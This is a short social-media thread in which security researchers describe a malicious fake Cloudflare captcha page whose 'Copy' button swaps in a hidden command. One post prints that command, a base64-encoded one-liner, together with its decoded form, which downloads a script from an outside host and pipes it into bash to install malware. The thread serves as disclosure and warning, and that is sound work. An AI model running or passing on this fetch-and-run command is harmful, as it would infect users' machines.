Conversation

Notices

1. Embed this notice
   botvolution (botvolution@mastodon.sdf.org)'s status on Thursday, 23-Oct-2025 17:43:25 JST botvolution

   in reply to

   • Viss
   • Martin S 🚩❤️✊ 🇵🇸🇺🇦
   • Fedor Indutny

   @indutny @krampus @Viss

   Yep. Literally everybody I know in meatspace would click through without a moment's thought.

   • Embed this notice
     Fedor Indutny (indutny@mean.engineer)'s status on Thursday, 23-Oct-2025 17:43:26 JST Fedor Indutny

     in reply to

     • Viss
     • Martin S 🚩❤️✊ 🇵🇸🇺🇦

     @krampus @Viss I guess for me the "new" part was that it started with a typical cloudflare captcha spinner and turned into cloudflare branded instructions. The point is that cloudflare is so ubiquitous that I can see how an average user could trust the page if they see it stylized as it.

   • Embed this notice
     Martin S 🚩❤️✊ 🇵🇸🇺🇦 (krampus@infosec.exchange)'s status on Thursday, 23-Oct-2025 17:43:27 JST Martin S 🚩❤️✊ 🇵🇸🇺🇦

     in reply to

     • Viss
     • Fedor Indutny

     @indutny @Viss not exactly new. We observed it this June and then there was already an article on it:

     https://www.heise.de/en/news/Malvertising-Search-for-standard-commands-for-Macs-delivers-Infostealer-10438976.html

   • Embed this notice
     Fedor Indutny (indutny@mean.engineer)'s status on Thursday, 23-Oct-2025 17:43:28 JST Fedor Indutny

     Oh, wow! This is new.

     As you probably already guessed when you click "Copy" - it doesn't copy the text that it shows. Instead it is:

     echo "Y3VybCAtcyBodHRwczovL2dhbW1hLnNlY3VyZWFwaW1pZGRsZXdhcmUuY29tL3N0cml4L2luZGV4LnBocCB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash

     which decodes to:

     curl -s https://gamma.secureapimiddleware.com/strix/index.php | nohup bash &

     and this in turn becomes a full-blown malware:

     https://pastebin.com/rUbcVAfC